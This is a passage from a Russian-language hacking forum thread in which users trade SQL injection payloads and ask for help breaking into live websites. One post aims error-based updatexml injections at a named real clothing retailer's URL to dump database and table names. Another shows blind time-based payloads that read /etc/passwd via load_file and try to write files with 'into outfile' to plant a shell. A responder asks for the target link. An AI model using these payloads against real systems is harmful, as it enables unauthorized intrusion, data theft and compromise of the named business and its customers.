23.04.2015, 10:55
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от Br@!ns
↑
Код:
https://www.childsplayclothing.co.uk/designers/pr'*updatexml(1,concat(0x3A,(select+database())),1)*'
Помогите составить запрос, чтоб вытащить имена таблиц. Непонятно что фильтруется.
Код:
https://www.childsplayclothing.co.uk/designers/pr'*updatexml(1,concat(0x3A,(select+table_name+from+infromation_schema.tables+limit+0,1)),1)*'
результата не дает.
Код:
https://www.childsplayclothing.co.uk/designers/pr'*updatexml(1,concat(0x3A,(select(group_concat(table_name))from(information_schema.tables))),1)*'
Сообщение от palec2006
↑
помогите люди добрые.
слепая:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'or(if(load_file('[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]etc[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]passwd[/COLOR][COLOR="#DD0000"]') is not NULL,sleep(1),0))or'[/COLOR][/COLOR]
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'or(if(ascii(substring((load_file('[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]etc[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]passwd[/COLOR][COLOR="#DD0000"]')),461))>=117,sleep(1),0))or'[/COLOR][/COLOR]
фильтрации нет, пролазит всё,
обрезать
or'
не могу
с заливкой борода:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'or(select 1 into outfile '[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]tmp[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]1.txt[/COLOR][COLOR="#DD0000"]')or'[/COLOR][/COLOR]
не дает результата
есть варианты залится?
дайте ссылку глянуть
|
|
|